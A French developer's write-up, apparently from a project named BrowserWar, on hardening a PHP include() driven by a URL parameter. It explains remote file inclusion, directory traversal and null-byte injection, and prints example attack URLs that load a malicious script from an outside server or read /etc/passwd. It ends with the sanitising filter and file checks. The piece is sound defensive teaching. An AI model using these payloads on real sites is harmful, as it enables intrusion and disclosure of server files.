Beaucoup de langages laissent la possibilité d'inclure du code extérieur au fichier. C'est
le cas en PHP grâce à la famille des include et des require. J'ai tout d'abord utilisé cette primitive de la
façon suivante :
$url = $_GET['url'];
if (empty($url))
else
Inclusion à distance
J'ai donc appris rapidement (avant la version 1) que tout ceci ne pouvait pas marcher de
façon convenable : effectivement, l'utilisateur étant libre de rentrer ce qu'il veut dans le paramètre url
de la barre d'adresse, il pouvait inclure ce qu'il voulait comme il le voulait. Ainsi, il pouvait notamment
inclure du code côté serveur et effectuer les actions qu'il souhaite (installer une page backdoor sur le site
par exemple).
Pour exploiter cette vulnérabilité, il suffisait de créer un script malveillant que l'on nommerait s.txt et
que l'on placerait sur un serveur distance www.serveur.com. On l'exécuterait ensuite sur le site en demandant
l'adresse http://siteBrowserWar/?url=http://www.serveur.com/s.txt et le tour était joué !
J'ai rapidement corrigé ceci en rajoutant la racine d'inclusion :
include("./include/".$url);
Ainsi les fichiers ne pouvaient être inclus que depuis mon dossier include local.
Directory transversal
Ceci n'était pas suffisant. Effectivement, il était possible de naviguer grâce aux liens
symboliques . et .. . Ainsi, on pouvait inclure et donc découvrir n'importe quel fichier du serveur, par exemple
en appellant http://siteBrowserWar/?url=../../../../etc/passwd qui serait remplacé par
/var/www/BrowserWar/include/../../../etc/passwd (qui se traduit bien en /etc/passwd). Je me suis donc résolu
à utiliser
include("./include/".$url.".php");
Ainsi, tous les fichiers inclus sont forcément php et donc interprétés.
Null byte injection
Il était encore possible d'inclure des fichiers locaux de façon arbiraires en utilisant le
byte nul, synonyme de fin de chaîne de caractères. Avec l'url
http://siteBrowserWar/?url=../../../../etc/passwd%00 par exemple, l'appel à la fonction include aurait été
effectué avec la chaîne de caractères ./include/../../../../etc/passwd%00.php, ce qui serait finalement exécuté
sans le .php ...
Pour éviter tout ceci, la version 2 assainit la variable $url en lui retirant les / (on ne peut plus changer
de dossier) et en retirant les null bytes
function happy_meal($meltingpot) {
...
$forbidden_characters = array("/","\0");
$meltingpot = str_replace($forbidden_characters, "", $meltingpot);
...
return $meltingpot;
}
D'autre part, on vérifie l'existence du fichier afin d'éviter le
full path disclosure (sinon, dès
qu'il y a échec d'inclusion, une erreur indique le chemin absolu et permet d'informer l'attaquant sur la
disposition des fichiers sur le serveur et donc d'inclure facilement n'importe quel autre élément). Enfin,
on a remplacé la fonction include() par require_once() afin d'éviter une page qui s'inclut à l'infini, provoquant
des ralentissements de l'interpréteur et du serveur :
$url = happy_meal($_GET['url']);
if (empty($url))
else if (file_exists("./include/".$url.".php"))
require_once("./include/".$url.".php");
else /* Something bad happened */
include("./include/logout.php");